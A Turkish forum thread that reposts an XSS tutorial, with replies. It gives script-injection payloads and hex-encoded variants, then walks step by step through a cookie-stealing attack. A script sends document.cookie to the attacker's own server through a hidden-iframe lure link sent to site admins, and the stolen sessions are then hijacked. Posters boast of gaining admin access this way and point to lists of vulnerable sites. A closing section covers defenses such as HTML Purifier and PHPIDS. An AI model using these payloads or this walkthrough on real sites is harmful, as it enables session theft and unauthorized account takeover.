Biraz düzenleseydin ağa sayfa düzeni felan hep kaymış :(

c/p yaparken kod ekleme kodunu bulamadım biraz sayfa kaydı malesef. :D Geçenlerde kumpircide otururken, salataları, kaşarlı kumpirleri ve kısırları grdüm, o sırada şyle düşündüm: Kısırlaştırılmış Siyaseti, Kaşar Siyasetçilerden Alırsak, nümüze Amerikan Salatası Olarak Gelir Ve Biz de Onu Yeriz, Ama Orada Unutulan Birşey Var, O da Çoban Salatası.

yüzlerce sitede denediysem yemedi bu numarayı yaw Türkiyede kim sevdiği işi yapıyor ki?

kardes nerden c/p yaptın solede saglam bır sekılde ınderıyım dokumanı medebiyet acmaksa bütün bedeni ozzman hayvanlar bizden daha medeni ANTİTAHRİBAT

1-2 siteye girdim ama bi siteden değişik bişi oldu. kodu arama yerine denemek için kopyaladığımda 1 yazısı çıkıyor cookimem yazmıyor ne dmek oluyor bu bilen var mi? Türkiyede kim sevdiği işi yapıyor ki?

: yüzlerce sitede denediysem olmadı bizim okulun mal sitesi bile yemedi bu numarayı yaw Hojam yapma yaw adam gittigidiyor da bile kullanmış bu açığı, video da çekmiş dkümanda yazıyor. Video Adresi (968kb) http://www.eno7.org/files/gg.html Download Video (968kb) http://www.eno7.org/files/gg. rar Sen belki yapamamışındır. xssed.com adresindeki sitelerde deneyebilirsin ben bir kaç sitede denedim sitelere admin yetkisiyle girdim bu yolla. Geçenlerde kumpircide otururken, salataları, kaşarlı kumpirleri ve kısırları grdüm, o sırada şyle düşündüm: Kısırlaştırılmış Siyaseti, Kaşar Siyasetçilerden Alırsak, nümüze Amerikan Salatası Olarak Gelir Ve Biz de Onu Yeriz, Ama Orada Unutulan Birşey Var, O da Çoban Salatası.

ama paylaşımın için sağol Türkiyede kim sevdiği işi yapıyor ki?

: kardes nerden c/p yaptın solede saglam bır sekılde ınderıyım dokumanı hajım ben de vardı dküman, al senin için mynete yükledim, senin işine yarayacak blümleri koydum diğerlerini kırptım, iptal olmuş dosyalarıda upload sitelerine yükledim dkümanda da mevcut. Dküman Adresi: http://xssnedir.sitemynet.com/xss.htmlVideo Adresi: http://xssnedir.sitemynet.com/gg.htmlhttp://rapidshare.com/files/110096429/gg. rar.html Videodaki açığın, dkümanda nasıl kullanıldığı yazıyor. Geçenlerde kumpircide otururken, salataları, kaşarlı kumpirleri ve kısırları grdüm, o sırada şyle düşündüm: Kısırlaştırılmış Siyaseti, Kaşar Siyasetçilerden Alırsak, nümüze Amerikan Salatası Olarak Gelir Ve Biz de Onu Yeriz, Ama Orada Unutulan Birşey Var, O da Çoban Salatası.

: Biraz düzenleseydin ağa sayfa düzeni felan hep kaymış :( Hocam nizleme olmadığı için dikkat edemedim düzeltiyim dedim ama düzenle linki yok. Modlar el atsa sayfayı toplasalar bi zahmet :D Geçenlerde kumpircide otururken, salataları, kaşarlı kumpirleri ve kısırları grdüm, o sırada şyle düşündüm: Kısırlaştırılmış Siyaseti, Kaşar Siyasetçilerden Alırsak, nümüze Amerikan Salatası Olarak Gelir Ve Biz de Onu Yeriz, Ama Orada Unutulan Birşey Var, O da Çoban Salatası.

Aynı zamanda "XSS" olarak da bilinen "Cross Site Scripting" bilinenin aksine çok eski bir açıktır. Fakat günümüzde hala en büyük sitelerde bile bu açığa rastlamaktayız. Dkümanın ortalarında Türkiye'nin en büyük sitelerinden bir tanesinde bu açık ile en basit şekilde neler yapılabildiğini video ile gstericem. Web uygulamarının sebebiyet verdiği bu açık sayesinde saldırgan hazırladığı zararlı kodları yine kendi hazırladığı bir sayfaya saklayarak, hedefteki kullanıcıyı bu sayfaya ynlendirmesiyle veya ynlendirmeden o esnada aralarında iletişim için kullandıkları web uygulamasının arka planına saklayarak hedefteki kullanıcıya iletmesi ile meydana gelir. Kullanıcı bu sırada hiçbirşeyin farkına varmaz fakat o esnada oturum bilgileri gibi pek çok nemli bilgisi saldırganın istediği bir sayfaya kaydedilir. Bu açığı bulmak kolay olduğu gibi açığın kapatılmasıda kolaydır. Genellikle POST ve GET metodlarının kullanıldığı blümlerde bulunur. Arama, galeri, mesajlar, haberler, üyelikler, kategoriler, yorumlar gibi kısımlara XSS kodumuzu enjekte ederek test edebilirsiniz. rnek vermek gerekirse, test için en çok kullanılan XSS kodları: CODE: "><script>alert(1)</script> http://www.site.com/index. php?s="><script>alert(1)</script> "><script>alert </script> http://www.site.com/index. php?cat="><script>alert </script> ');alert ;// http://www.site.com/index. php?search=');alert ;// "><script/src=http://site.com/xss. js></script> http://www.site.com/gallery. asp?c="><script/src=http://site.com/xss. js></script> ><script>alert </script><b a=a http://www.site.com/members. php?id=><script>alert </script><b a=a Üstteki kodlardan bir tanesini kullanarak XSS açığının olup olmadığını bir sitede kontrol ettim. Üstteki resimde de grüldüğü gibi XSS kodumuzu denedikten sonra ekrana bizim cookie bilgilerimizi yansıttı. Bu da bize sitede XSS açığının olduğunu gsteriyor. Bu açık site sahibinin ve diğer kullanıcıların cookielerini almamıza olanak sağlar. Bylece onların yetkileriyle siteye giriş yapabiliriz. Bu kodlardan daha fazla edinmek isterseniz tam bir XSS Kod Kütüphanesi olan sitemin "XSS Attack Database" blümünü ziyaret edebilirsiniz. (http://www.eno7.org/xssdb/xssdb.html) Saldırgan XSS kodlarını çoğunlukla bu taglar sayesinde enjekte edebilir. CODE: <script>, <embed>, <object>, ve <applet> Flash ile yapılan bir XSS saldırısından rnek vermek gerekirse burada XSS kodumuzu flash ile CODE: getURL değeriyle çağırırız yani CODE: getURL("http://www.eno7.org") yerine getURL("javascript:alert ") şeklinde kullanırsak kullanıcının browser'ında XSS kodumuzu çalıştırabiliriz. Bu saldırı şeklinde CODE: <object> veya <embed> taglarını kullanıyoruz, yine rnek vermek gerekirse CODE: <embed src="http://www.siteniz.com/hazirladiginiz-flash. swf" pluginspage="http://www.macromedia.com/shockwave/download/index. cgi? P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100" height="100"> </embed> bu şekilde kullanmak mümkün olur. Bazı sitelerde XSS kodlarını HEX'e çevirerek enjekte etmek gerekebilir. Bu durumlarda sitemin "Character Encoding" blümünden XSS kodlarınızı HEX değerine çevirerek enjekte edebilirsiniz. (http://www.eno7.org/character-encoding/encode.html) Üstte verdiğim ilk üç sıradaki XSS kodlarının HEX'e çevirilmiş halleri altta yer almaktadır. URL: Hex Value CODE: "><script>alert(1)</script> %22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E "><script>alert </script> %22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E ');alert ;// %27%29%3B%61%6C%65%72%74%28%27%6F%77%6E%27%29%3B%2F%2F HTML : Hex Value CODE: "><script>alert(1)</script> &#x22;&#x3E;&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; "><script>alert </script> &#x22;&#x3E;&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; ');alert ;// &#x27;&#x29;&#x3B;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x6F;&#x77;&#x6E;&#x27;&#x29;&#x3B;&#x2F;&#x2F; Web programcıları tarafından gz ardı edilen bazı kodlamalar bu açığın kullanımına davetiye çıkartmakta. Açığı kapatmak tekrar kodlamaları gzden geçirip düzeltilmesiyle mümkün olur veya aşağıda anlatacağım teknikle bu açıklardan daha sağlam bir şekilde korunabilirsiniz. Webmasterlar her zaman ziyaretçilerinin yaptığı tüm sorgulamaları veya tüm gnderileri mutlaka bir filtreden geçirmesi gerekmektedir. Bu bazen bir yorum olur, bir zel mesaj olur hatta bu kodların filtrelenmediği bir forumda imzaya saklanan bir kod olur veya geçen bir konuda bahsetmiştim, yüklenen bir resim bile eğer filtrelemeden geçmiyorsa bu açığın kullanımına yol açar. (http://www.eno7.org/guvenlik-aciklari/resim-yukleyerek-xss. pl) Resim Yükleyerek XSS konusundan burada da kısaca bahsetmek gerekirse, kullanıcı nce bu şekilde resmi adlandırarak upload eder. CODE: http://www.eno7.org/files/'onerror='alert 'warn='. gif Daha sonra test için şyle bir sayfa oluşturarak kontrol edebilirsiniz. Şu kodları "html" olarak kaydedin. CODE: <IMG src="http://www.eno7.org/files/"onerror="alert "warn=". gif"> Üstte de belirttiğimiz gibi kullanıcı tarafından yollanan her gnderinin filtrelemeden geçirilmesi şart. Saldırganın enjekte etmeye çalışacağı karakterleri aynı zamanda HEX'e dnüştüreceğini düşünerek, filtrelenmesi gereken bu karakterleri HEX kodlarıyla beraber altta belirttim.. Char ; / ? : @ = & < > " # Code %3b %2f %3f %3a %40 %3d %26 %3c %3e %22 %23 Char | \ ^ ` % ' Code %7b %7d %7c %5c %5e %7e %5b %5d %60 %25 %27 CODE: ; / ? : @ = & <> " # | \ ^ ` % ' CODE: %3b %2f %3f %3a %40 %3d %26 %3c %3e %22 %23 %7b %7d %7c %5c %5e %7e %5b %5d %60 %25 %27 Bu tarz bir filtreleme yapıldığında, kullanıcı tarafından enjekte edilmeye çalışılan zararlı kodlar pasifize edilmiş olacaktır. Dkümanın devamında bu saldırılardan nasıl korunulacağını detaylı bir şekilde anlatacağım. Bu açıkların bulunduğu siteleri hiç uğraşmadan bulmak isterseniz. Bir arkadaşımın açtığı ve başarılı bir proje olarak grdüğüm "XSSED" sitesini ziyaret edebilirsiniz. Saldırgan genelde bu açığı kullanmak için size bir link yollar, kullandığınız mail servisinde bu açıktan bulunuyorsa size bu linki mail aracılığı ile yollar ve linke direk tıklamanız halinde cookie bilgileriniz saldırganın istediği bir sayfaya yazılır. Mailinize gelen linklere direk tıklamak yerine mümkünse bilgisayarınızda iki tane browser kullanıyorsanız bu linke, mailinize giriş yapmadığınız diğer browserdan yani mailinizin cookie bilgilerinin saklanmadığı browserdan girilmesi sizi bu tehlikeden korur. Ama bu mümkün değilse bu linke direk tıklamadan, linki kopyalayıp yeni bir internet sayfası açarak girmek daha uygundur. Dkümanın başında belirtmiştim. Bu açığı Türkiye'nin en büyük sitelerinden birinde test ettim ve bu açıktan nasıl yararlanıldığı herkesin anlayacağı bir şekilde video'da anlatmaya çalıştım. Video'da deneme yaptığım sitenin açığı karşılıklı telefon ve mail grüşmelerimiz sonucu kapatılmıştır. Burada grmenizi istediğim şey, XSS açığının kesinlikle küçümsenmeyecek bir açık olduğu ve bu açıkla en basit şekilde neler yapılabildiği. Video Adresi (968kb) http://www.eno7.org/files/gg.html Download Video (968kb) http://www.eno7.org/files/gg. rar Şimdi bu açığın nasıl kullanıldığını grelim. Video'da da grüldüğü gibi kaydedilen cookie'leri grebilmemiz için bir "log" dosyamız olması gerekiyor. Gerekli olan gereçleri nce bu adresten indirin. Download Sniffer http://www.eno7.org/files/sniffer. rar Dosyamızı indirip klasre açalım, değişiklik yapacağımız dosyalar sırasıyla "cdr. js" ve karşı tarafa yollayacağınız link olan "pardus.html" ben deneme için pardus olarak adlandırdım siz istediğiniz şekilde yapabilirsiniz. "cdr. js" dosyasını bir metin belgesiyle açın, dosyada "siteniz.com" yazan yere "sniffer" klasrünü upload ettiğiniz internet adresini yazacaksınız. CODE: i=new/ /Image ;i. src='http://www.siteniz.com/sniffer/s. php?'+document. cookie Yine aynı şekilde "pardus.html" dosyasını bir metin belgesiyle açın. CODE: <script>document. write('<iframe name="I1" src="http://www.xss-acigi-olan-site.com/index. php?s=httpFrom=%22%3E%3CSCRIPT%20SRC=http://www.siteniz.com/sniffer/cdr. js%3E%3C/SCRIPT%3E" height="1" width="1" frameborder="0" marginwidth="1" marginheight="1" style="position: absolute; left: 0; top: 0"> hi</iframe>') Dosyada "xss-acigi-olan-site.com/index. php?s=" yazan yere sitede "XSS" açığının bulunduğu yeri tam olarak yazıyorsunuz yani açığın bulunduğu blümü "httpFrom" yazan yere kadar yazıyorsunuz. Daha sonra yine aynı dosyada "siteniz.com/sniffer/cdr. js" yazan yere ise "sniffer" klasrünü upload ettiğiniz internet adresini yazıyorsunuz yani "cdr. js" dosyasının bulunduğu adresi tam olarak yazıyorsunuz. Bu işlemler tamamsa "sniffer" klasrünü bir siteye upload edin, ilk nce "sniffer" klasründe bulunan "cookie" bilgilerinin yazılacağı "data. txt" dosyasının izinlerini CHMOD 777 yapın. Herkesin anlayabilmesi için bu blümleri ayrıntılı anlatıyorum. "CHMOD" izinlerini FTP programınız ile yapabilirsiniz. CuteFTP programında dosyanın üzerine "sağ click" yapın "Properties / CHMOD" yazan yere tıklayın ve açılan pencerede "Permissions" yazan yerin karşısındaki kutucuğa 777 yazın ve tamam diyerek çıkın. Şimdi yapacağınız tek şey "XSS" açığını bulduğunuz sitenin, forumun veya mail servisinin neyse o sitenin kullanıcısına genellikle sitenin adminine "pardus.html" dosyasının linkini gndereceksiniz. http://www.site.com/pardus.html gibi burada dosya adını değiştirebilirsiniz. Size kalan bu linki karşı tarafa zekice yollayarak, yolladığınız kişinin bu linke tıklamasını sağlamak. Yolladığınız kişi linke tıkladıysa "cookie" bilgileri "log" dosyasında grülecektir. Burada "log" dosyasının herkes tarafından grünmesini istemeyebilirsiniz. Bunun için "log" dosyasına ulaşmak için bir "login" ekranı koyabiliriz. "log. php" dosyasını bir metin belgesiyle açın ve sayfanın en başında olan CODE: <? karakterlerden bir satır aşağıdan veya bir boşluk bırakarak alttaki kodları yapıştırın. CODE: $ourLogin = "kullanici-adi";$ourPassword = "sifre";session_start ;if {if else } Kodlarda "kullanici-adi" yazan yere giriş yaparken kullanacağınız kullanıcı ismini, "sifre" yazan yere de giriş için kullanacığınız şifreyi yazacaksınız. Herşey tamamsa, gelen cookieleri kendi cookieniz ile değiştirip o kullanıcının hesabına girebilirsiniz. Cookieleri değiştirmek için "Cookie Editor" programını kullanabilirsiniz. Download Cookie Editor http://www.proxoft.com/downloads/cookieeditorsetup. exe Eğer Firefox kullanıyorsanız "Cookie Editor" eklentisini Firefox'a kurarak kullanabilirsiniz. Install Cookie Editor For Firefox https://addons.mozilla. org/en-US/firefox/addon/573 Şimdi Bu Açıktan Web Sitelerimizi Nasıl Koruyacağımıza Değinelim Dkümanın ortalarında belirttiğim kodların filtrelenmesiyle nlemini almanız mümkün ama birazdan gstereceğim şekilde daha iyi bir güvenlik sağlarsınız. Bu açıktan korunmak için sitemizde kullanacağımız bileşen "HTML Purifier" PHP dilinde yazılmış bir HTML filtre kütüphanesi. Bununla sitenize enjekte edilmeye çalışılan ve şu ana kadar bilinen tüm XSS kodlarını zararsız hale getirirsiniz. Sitenin "Demo" blümünden filtrelemeyi test edebilirsiniz. Test etmek istediğiniz kodları belirtilen yere girip nasıl filtrelendiğini grmeniz mümkün. Sitemizde Nasıl Kullanacağımıza Bakalım nce "HTML Purifier" bileşenini download ediyoruz. Download HTML Purifier http://htmlpurifier.org/download.html Daha sonra zip'den çıkarıp sitemize upload ediyoruz, sitemizde kullanabilmemiz için ise sitemizin "config" dosyasına veya "config" dosyasından "require_once" ile çağırdığımız dosyaya alttaki kodumuzu yerleştiriyoruz "include" ediyoruz. Eğer websitenizde UTF-8 ve XHTML kodlaması kullanıyorsanız bu kodu kullanın: CODE: <?php require_once '/path/to/htmlpurifier/library/HTMLPurifier. auto. php'; $purifier = new HTMLPurifier ; $clean_html = $purifier->purify ; ?> Eğer sitenizde farklı bir kodlama kullanıyorsanız bu kodu kullanın: CODE: <?php require_once '/path/to/htmlpurifier/library/HTMLPurifier. auto. php'; $config = HTMLPurifier_Config::createDefault ; $config->set('Core', 'Encoding', 'ISO-8859-1'); // replace with your encoding $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // replace with your doctype $purifier = new HTMLPurifier ; $clean_html = $purifier->purify ; ?> Üstteki kodlarda "/path/to/htmlpurifier/" yazan yere "htmlpurifier" klasrünün serverda bulunan tam yolunu yazacaksınız "/home/vhosts/site.com/public_html/htmlpurifier/" gibi. Fakat nce "/library/HTMLPurifier/DefinitionCache/Serializer" bu yolun server tarafından yazılabilir olduğundan emin olun. nce CHMOD'u 755 olarak ayarlayın eğer çalışmazsa 777 olarak ayarlayın. Kurulum ile ilgili ayrıntılı bilgi için bileşenin resmi sitesini ziyaret edebilirsiniz. (http://htmlpurifier.org/svnroot/htmlpurifier/tags/2.1.2/INSTALL) "HTML Purifier" bileşenini "CMS" ve diğer hazır sistemlerde kullanmak isterseniz alttaki pluginleri-eklentileri belirtilen sistemler için kullanabilirsiniz. Wordpress için yapılmış olan eklentiden geçenlerde sitemde bahsetmiştim, o konuya buradan ulaşabilirsiniz. (http://www.eno7.org/advisories/blogunuzu-tum-xss-saldirilarina-karsi-koruyun. pl) Phorum (http://www.phorum.org/phorum5/read. php?16,122766) MODx Drupal Wordpress CodeIgniter Bu Açıktan Korunmak İçin Diğer Alternatifler "HTML Purifier" gibi olan bir diğer web uygulaması "PHPIDS" bu bileşenle de XSS saldırılarından korunmak mümkün. nce bu adresten "PHPIDS" uygulamasını download ediyoruz. Download PHPIDS http://php-ids.org/downloads/ Daha sonra zipden çıkarıp sitemize upload ediyoruz. Üstte "HTML Purifier" de olduğu gibi alttaki kodları "include" ediyoruz. CODE: set_include_path( get_include_path . PATH_SEPARATOR. 'path/to/phpids/lib' ); require_once 'IDS/Monitor. php'; require_once 'IDS/Filter/Storage. php'; $storage = new IDS_Filter_Storage ; $storage->getFilterFromXML ; $request = new IDS_Monitor ; $result = $request->run ; if (!$result->isEmpty Kurulumla ilgili daha ayrıntılı bilgi almak için PHPIDS'in resmi sayfasını ziyaret edebilirsiniz. Bunda da "CMS" ve diğer hazır sistemlerde kullanmak üzere pluginler-eklentiler mevcut alttaki adreslerden belirtilen sistemler için olanları kullanabilirsiniz. Wordpress Plugins http://php-ids.org/files/wp-ids. zip Wordpress için bir diğer alternatif plugin http://wwwu. edu. uni-klu. ac. at/hbeyer/wp/2007/08/25/phpids-for-wordpress/ Drupal http://drupal.org/project/phpids "PHPIDS" uygulamasında da zararlı kodların nasıl tanındığını "demo" sayfasından test edebilirsiniz. ". htaccess" İle Korunma Bir diğer korunma yolu da ". htaccess" dosyasının yapılandırılmasıyla mevcut. Alttaki kodları sitenizin kk dizininde bulunan veya scriptinizin bulunduğu dizindeki ". htaccess" dosyasına ekleyin. Bylelikle sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi engelleyecek. CODE: RewriteEngine On RewriteCond % base64_encode. \ RewriteCond % (\<|%3C). script. (\>|%3E) RewriteCond % GLOBALS(=|\[|\% ) RewriteCond % _REQUEST(=|\[|\% ) RewriteRule ^ $ index. php Kaynak: eno7 | eno7. org Geçenlerde kumpircide otururken, salataları, kaşarlı kumpirleri ve kısırları grdüm, o sırada şyle düşündüm: Kısırlaştırılmış Siyaseti, Kaşar Siyasetçilerden Alırsak, nümüze Amerikan Salatası Olarak Gelir Ve Biz de Onu Yeriz, Ama Orada Unutulan Birşey Var, O da Çoban Salatası.